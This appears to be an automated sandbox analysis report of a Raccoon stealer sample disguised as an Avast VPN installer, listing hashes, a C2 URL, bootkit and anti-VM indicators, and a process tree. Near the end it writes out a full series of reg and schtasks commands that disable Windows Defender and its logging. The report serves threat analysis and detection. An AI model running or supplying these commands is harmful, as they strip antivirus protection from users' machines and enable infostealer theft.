raccoon | 5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e

Analysis

max time kernel
4294220s
max time network
171s
platform
windows7_x64
resource
win7-20220223-en
submitted
09-03-2022 02:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.exe
Size

13.9MB
MD5

6da60459b3c36ef50295b51e4964f764
SHA1

648acc1d53cc5b31515b7d6852e5801b9777e0f9
SHA256

5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e
SHA512

e55a118239682cab07584542244700f6cce7376040d76806ad426cda5decb676810e43870302c24597dd4c0f0df148e880b7c45c24bb5e5887541de91a12050c

Score

10^/10

raccoon 5eaa41b3101d5537f786a35da1878f0d1d760e53 c763e433ef51ff4b6c545800e4ba3b3b1a2ea077 bootkit evasion persistence stealer themida trojan

Malware Config

Extracted

Family

raccoon

Version

1.7.1-hotfix

Botnet

5eaa41b3101d5537f786a35da1878f0d1d760e53

Attributes

url4cnc
https://telete.in/jbitchsucks

rc4.plain

Extracted

Family

raccoon

Botnet

c763e433ef51ff4b6c545800e4ba3b3b1a2ea077

Attributes

url4cnc
https://telete.in/jbitchsucks

rc4.plain

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4"	reg.exe

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon

Raccoon Stealer Payload 10 IoCs

Processes:

resource	yara_rule
behavioral1/memory/984-192-0x0000000000130000-0x00000000001C3000-memory.dmp	family_raccoon
behavioral1/memory/984-194-0x0000000000130000-0x00000000001C3000-memory.dmp	family_raccoon
behavioral1/memory/984-197-0x0000000000130000-0x00000000001C3000-memory.dmp	family_raccoon
behavioral1/memory/984-200-0x0000000000130000-0x00000000001C3000-memory.dmp	family_raccoon
behavioral1/memory/984-206-0x0000000000130000-0x00000000001C3000-memory.dmp	family_raccoon
behavioral1/memory/828-214-0x0000000000650000-0x00000000006E3000-memory.dmp	family_raccoon
behavioral1/memory/828-216-0x0000000000650000-0x00000000006E3000-memory.dmp	family_raccoon
behavioral1/memory/828-219-0x0000000000650000-0x00000000006E3000-memory.dmp	family_raccoon
behavioral1/memory/828-222-0x0000000000650000-0x00000000006E3000-memory.dmp	family_raccoon
behavioral1/memory/828-226-0x0000000000650000-0x00000000006E3000-memory.dmp	family_raccoon

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Executes dropped EXE 31 IoCs

Processes:

5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmpavastvpn.exeavastvpn.tmp7z.exeavast_secureline_setup.exe7z.exe7z.exe7z.exe7z.execmd.exe7z.exe7z.exerchost.exe7z.exe7z.exe7z.exe7z.exereg.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exeSgrmClientApi.exeicarus.exeicarus_ui.exeicarus.exerchost.exeSgrmClientApi.exe

pid	process
1420	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
1176	avastvpn.exe
1804	avastvpn.tmp
1496	7z.exe
556	avast_secureline_setup.exe
1520	7z.exe
1376	7z.exe
1152	7z.exe
840	7z.exe
1568	cmd.exe
1608	7z.exe
1128	7z.exe
864	rchost.exe
1172	7z.exe
1892	7z.exe
1512	7z.exe
732	7z.exe
1500	reg.exe
1496	7z.exe
1976	7z.exe
776	7z.exe
840	7z.exe
1028	7z.exe
1652	7z.exe
984	7z.exe
624	SgrmClientApi.exe
1932	icarus.exe
1268	icarus_ui.exe
1896	icarus.exe
984	rchost.exe
828	SgrmClientApi.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

rchost.exeSgrmClientApi.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	SgrmClientApi.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	SgrmClientApi.exe

Loads dropped DLL 39 IoCs

Processes:

5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.exe5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmpavastvpn.exeavastvpn.tmpcmd.exe7z.exe7z.exe7z.exe7z.exe7z.execmd.exe7z.exe7z.execmd.exe7z.exe7z.exe7z.exe7z.exereg.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exeavast_secureline_setup.exeicarus.exeicarus.exeSgrmClientApi.exerchost.exe

pid	process
1792	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.exe
1420	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
1420	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
1176	avastvpn.exe
1804	avastvpn.tmp
240	cmd.exe
1496	7z.exe
1804	avastvpn.tmp
1520	7z.exe
1376	7z.exe
1152	7z.exe
840	7z.exe
1568	cmd.exe
1608	7z.exe
1128	7z.exe
240	cmd.exe
1664	cmd.exe
1172	7z.exe
1892	7z.exe
1512	7z.exe
732	7z.exe
1500	reg.exe
1496	7z.exe
1976	7z.exe
776	7z.exe
840	7z.exe
1028	7z.exe
1652	7z.exe
984	7z.exe
1664	cmd.exe
556	avast_secureline_setup.exe
1932	icarus.exe
1932	icarus.exe
1932	icarus.exe
1932	icarus.exe
1896	icarus.exe
624	SgrmClientApi.exe
864	rchost.exe
624	SgrmClientApi.exe

Themida packer 6 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\ProgramData\37bFdy\rchost.exe	themida
C:\ProgramData\37bFdy\extracted\rchost.exe	themida
\ProgramData\37bFdy\rchost.exe	themida
behavioral1/memory/864-144-0x0000000000220000-0x000000000075C000-memory.dmp	themida
behavioral1/memory/624-179-0x00000000000A0000-0x000000000064A000-memory.dmp	themida
behavioral1/memory/624-180-0x00000000000A0000-0x000000000064A000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

SgrmClientApi.exerchost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	SgrmClientApi.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	rchost.exe

Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1067

Processes:

avast_secureline_setup.exeicarus.exeicarus.exe

description	ioc	process
File opened for modification	\??\PhysicalDrive0	avast_secureline_setup.exe
File opened for modification	\??\PhysicalDrive0	icarus.exe
File opened for modification	\??\PhysicalDrive0	icarus.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

rchost.exeSgrmClientApi.exe

description	pid	process	target process
PID 864 set thread context of 984	864	rchost.exe	rchost.exe
PID 624 set thread context of 828	624	SgrmClientApi.exe	SgrmClientApi.exe

Drops file in Program Files directory 4 IoCs

Processes:

5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmpavastvpn.tmp

description	ioc	process
File opened for modification	C:\Program Files (x86)\avastvpn.exe	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
File created	C:\Program Files (x86)\is-RE6RJ.tmp	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
File opened for modification	C:\Program Files (x86)\avast_secureline_setup.exe	avastvpn.tmp
File created	C:\Program Files (x86)\is-3SE0K.tmp	avastvpn.tmp

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

icarus.exeicarus_ui.exeicarus.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	icarus.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	icarus.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	icarus_ui.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	icarus_ui.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	icarus.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	icarus.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	icarus.exe

Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

1984 timeout.exe
1160 timeout.exe

pid	process
1984	timeout.exe
1160	timeout.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

avast_secureline_setup.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	avast_secureline_setup.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	avast_secureline_setup.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmpavastvpn.tmpicarus_ui.exerchost.exeSgrmClientApi.exe

pid	process
1420	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
1420	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
1804	avastvpn.tmp
1804	avastvpn.tmp
1268	icarus_ui.exe
864	rchost.exe
624	SgrmClientApi.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

7z.exe7z.exe7z.exe7z.exe7z.execmd.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exereg.exe7z.exe7z.exe7z.exe

description	pid	process
Token: SeRestorePrivilege	1496	7z.exe
Token: 35	1496	7z.exe
Token: SeSecurityPrivilege	1496	7z.exe
Token: SeSecurityPrivilege	1496	7z.exe
Token: SeRestorePrivilege	1520	7z.exe
Token: 35	1520	7z.exe
Token: SeSecurityPrivilege	1520	7z.exe
Token: SeSecurityPrivilege	1520	7z.exe
Token: SeRestorePrivilege	1376	7z.exe
Token: 35	1376	7z.exe
Token: SeSecurityPrivilege	1376	7z.exe
Token: SeSecurityPrivilege	1376	7z.exe
Token: SeRestorePrivilege	1152	7z.exe
Token: 35	1152	7z.exe
Token: SeSecurityPrivilege	1152
Token: SeSecurityPrivilege	1152
Token: SeRestorePrivilege	840	7z.exe
Token: 35	840	7z.exe
Token: SeSecurityPrivilege	840	7z.exe
Token: SeSecurityPrivilege	840	7z.exe
Token: SeRestorePrivilege	1568	cmd.exe
Token: 35	1568	cmd.exe
Token: SeSecurityPrivilege	1568	cmd.exe
Token: SeSecurityPrivilege	1568	cmd.exe
Token: SeRestorePrivilege	1608	7z.exe
Token: 35	1608	7z.exe
Token: SeSecurityPrivilege	1608	7z.exe
Token: SeSecurityPrivilege	1608	7z.exe
Token: SeRestorePrivilege	1128	7z.exe
Token: 35	1128	7z.exe
Token: SeSecurityPrivilege	1128	7z.exe
Token: SeSecurityPrivilege	1128	7z.exe
Token: SeRestorePrivilege	1172	7z.exe
Token: 35	1172	7z.exe
Token: SeSecurityPrivilege	1172	7z.exe
Token: SeSecurityPrivilege	1172	7z.exe
Token: SeRestorePrivilege	1892	7z.exe
Token: 35	1892	7z.exe
Token: SeSecurityPrivilege	1892	7z.exe
Token: SeSecurityPrivilege	1892	7z.exe
Token: SeRestorePrivilege	1512	7z.exe
Token: 35	1512	7z.exe
Token: SeSecurityPrivilege	1512	7z.exe
Token: SeSecurityPrivilege	1512	7z.exe
Token: SeRestorePrivilege	732	7z.exe
Token: 35	732	7z.exe
Token: SeSecurityPrivilege	732	7z.exe
Token: SeSecurityPrivilege	732	7z.exe
Token: SeRestorePrivilege	1500	reg.exe
Token: 35	1500	reg.exe
Token: SeSecurityPrivilege	1500	reg.exe
Token: SeSecurityPrivilege	1500	reg.exe
Token: SeRestorePrivilege	1496	7z.exe
Token: 35	1496	7z.exe
Token: SeSecurityPrivilege	1496	7z.exe
Token: SeSecurityPrivilege	1496	7z.exe
Token: SeRestorePrivilege	1976	7z.exe
Token: 35	1976	7z.exe
Token: SeSecurityPrivilege	1976	7z.exe
Token: SeSecurityPrivilege	1976	7z.exe
Token: SeRestorePrivilege	776	7z.exe
Token: 35	776	7z.exe
Token: SeSecurityPrivilege	776	7z.exe
Token: SeSecurityPrivilege	776	7z.exe

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmpavastvpn.tmpicarus_ui.exe

pid process

1420 5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
1804 avastvpn.tmp
1268 icarus_ui.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

icarus_ui.exe

pid process

1268 icarus_ui.exe
1268 icarus_ui.exe
1268 icarus_ui.exe

pid	process
1268	icarus_ui.exe
1268	icarus_ui.exe
1268	icarus_ui.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.exe5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmpWScript.exeavastvpn.execmd.execmd.exeavastvpn.tmp

description	pid	process	target process
PID 1792 wrote to memory of 1420	1792	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.exe	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
PID 1792 wrote to memory of 1420	1792	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.exe	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
PID 1792 wrote to memory of 1420	1792	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.exe	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
PID 1792 wrote to memory of 1420	1792	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.exe	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
PID 1792 wrote to memory of 1420	1792	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.exe	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
PID 1792 wrote to memory of 1420	1792	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.exe	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
PID 1792 wrote to memory of 1420	1792	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.exe	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
PID 1420 wrote to memory of 1128	1420	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp	WScript.exe
PID 1420 wrote to memory of 1128	1420	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp	WScript.exe
PID 1420 wrote to memory of 1128	1420	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp	WScript.exe
PID 1420 wrote to memory of 1128	1420	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp	WScript.exe
PID 1420 wrote to memory of 1176	1420	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp	avastvpn.exe
PID 1420 wrote to memory of 1176	1420	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp	avastvpn.exe
PID 1420 wrote to memory of 1176	1420	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp	avastvpn.exe
PID 1420 wrote to memory of 1176	1420	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp	avastvpn.exe
PID 1420 wrote to memory of 1176	1420	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp	avastvpn.exe
PID 1420 wrote to memory of 1176	1420	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp	avastvpn.exe
PID 1420 wrote to memory of 1176	1420	5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp	avastvpn.exe
PID 1128 wrote to memory of 1440	1128	WScript.exe	cmd.exe
PID 1128 wrote to memory of 1440	1128	WScript.exe	cmd.exe
PID 1128 wrote to memory of 1440	1128	WScript.exe	cmd.exe
PID 1128 wrote to memory of 1440	1128	WScript.exe	cmd.exe
PID 1176 wrote to memory of 1804	1176	avastvpn.exe	avastvpn.tmp
PID 1176 wrote to memory of 1804	1176	avastvpn.exe	avastvpn.tmp
PID 1176 wrote to memory of 1804	1176	avastvpn.exe	avastvpn.tmp
PID 1176 wrote to memory of 1804	1176	avastvpn.exe	avastvpn.tmp
PID 1176 wrote to memory of 1804	1176	avastvpn.exe	avastvpn.tmp
PID 1176 wrote to memory of 1804	1176	avastvpn.exe	avastvpn.tmp
PID 1176 wrote to memory of 1804	1176	avastvpn.exe	avastvpn.tmp
PID 1128 wrote to memory of 240	1128	WScript.exe	cmd.exe
PID 1128 wrote to memory of 240	1128	WScript.exe	cmd.exe
PID 1128 wrote to memory of 240	1128	WScript.exe	cmd.exe
PID 1128 wrote to memory of 240	1128	WScript.exe	cmd.exe
PID 1128 wrote to memory of 1904	1128	WScript.exe	cmd.exe
PID 1128 wrote to memory of 1904	1128	WScript.exe	cmd.exe
PID 1128 wrote to memory of 1904	1128	WScript.exe	cmd.exe
PID 1128 wrote to memory of 1904	1128	WScript.exe	cmd.exe
PID 240 wrote to memory of 1932	240	cmd.exe	mode.com
PID 240 wrote to memory of 1932	240	cmd.exe	mode.com
PID 240 wrote to memory of 1932	240	cmd.exe	mode.com
PID 240 wrote to memory of 1932	240	cmd.exe	mode.com
PID 1904 wrote to memory of 1984	1904	cmd.exe	timeout.exe
PID 1904 wrote to memory of 1984	1904	cmd.exe	timeout.exe
PID 1904 wrote to memory of 1984	1904	cmd.exe	timeout.exe
PID 1904 wrote to memory of 1984	1904	cmd.exe	timeout.exe
PID 240 wrote to memory of 1496	240	cmd.exe	7z.exe
PID 240 wrote to memory of 1496	240	cmd.exe	7z.exe
PID 240 wrote to memory of 1496	240	cmd.exe	7z.exe
PID 240 wrote to memory of 1496	240	cmd.exe	7z.exe
PID 1804 wrote to memory of 556	1804	avastvpn.tmp	avast_secureline_setup.exe
PID 1804 wrote to memory of 556	1804	avastvpn.tmp	avast_secureline_setup.exe
PID 1804 wrote to memory of 556	1804	avastvpn.tmp	avast_secureline_setup.exe
PID 1804 wrote to memory of 556	1804	avastvpn.tmp	avast_secureline_setup.exe
PID 1804 wrote to memory of 556	1804	avastvpn.tmp	avast_secureline_setup.exe
PID 1804 wrote to memory of 556	1804	avastvpn.tmp	avast_secureline_setup.exe
PID 1804 wrote to memory of 556	1804	avastvpn.tmp	avast_secureline_setup.exe
PID 240 wrote to memory of 1520	240	cmd.exe	7z.exe
PID 240 wrote to memory of 1520	240	cmd.exe	7z.exe
PID 240 wrote to memory of 1520	240	cmd.exe	7z.exe
PID 240 wrote to memory of 1520	240	cmd.exe	7z.exe
PID 1804 wrote to memory of 1344	1804	avastvpn.tmp	WScript.exe
PID 1804 wrote to memory of 1344	1804	avastvpn.tmp	WScript.exe
PID 1804 wrote to memory of 1344	1804	avastvpn.tmp	WScript.exe
PID 1804 wrote to memory of 1344	1804	avastvpn.tmp	WScript.exe

C:\Users\Admin\AppData\Local\Temp\5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.exe
"C:\Users\Admin\AppData\Local\Temp\5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1792

C:\Users\Admin\AppData\Local\Temp\is-ORKFM.tmp\5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp
"C:\Users\Admin\AppData\Local\Temp\is-ORKFM.tmp\5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.tmp" /SL5="$40108,13871183,778240,C:\Users\Admin\AppData\Local\Temp\5e0e25bc05364316943ad352acb3b502ed6c0052093967e3a10dcbdb5fcdf17e.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1420

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\37bFdy\MMF.vbs"
3⤵
- Suspicious use of WriteProcessMemory
PID:1128

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\ProgramData\37bFdy\n0eexnwg.bat" "
4⤵
PID:1440

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
5⤵
PID:1796

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
5⤵
PID:760

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
5⤵
PID:732

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
5⤵
PID:436

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
5⤵
PID:1468

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
5⤵
PID:1792

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
5⤵
PID:1564

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
5⤵
PID:1492

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
5⤵
PID:1520

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
5⤵
PID:1976

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
5⤵
PID:1496

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
5⤵
PID:1488

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
5⤵
PID:828

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
5⤵
PID:1748

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
5⤵
PID:1268

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
5⤵
PID:1604

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
5⤵
PID:920

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
5⤵
PID:1660

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
5⤵
PID:272

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
5⤵
PID:1012

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
5⤵
PID:1948

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
5⤵
PID:1588

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
5⤵
PID:396

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
5⤵
PID:632

C:\Windows\SysWOW64\reg.exe
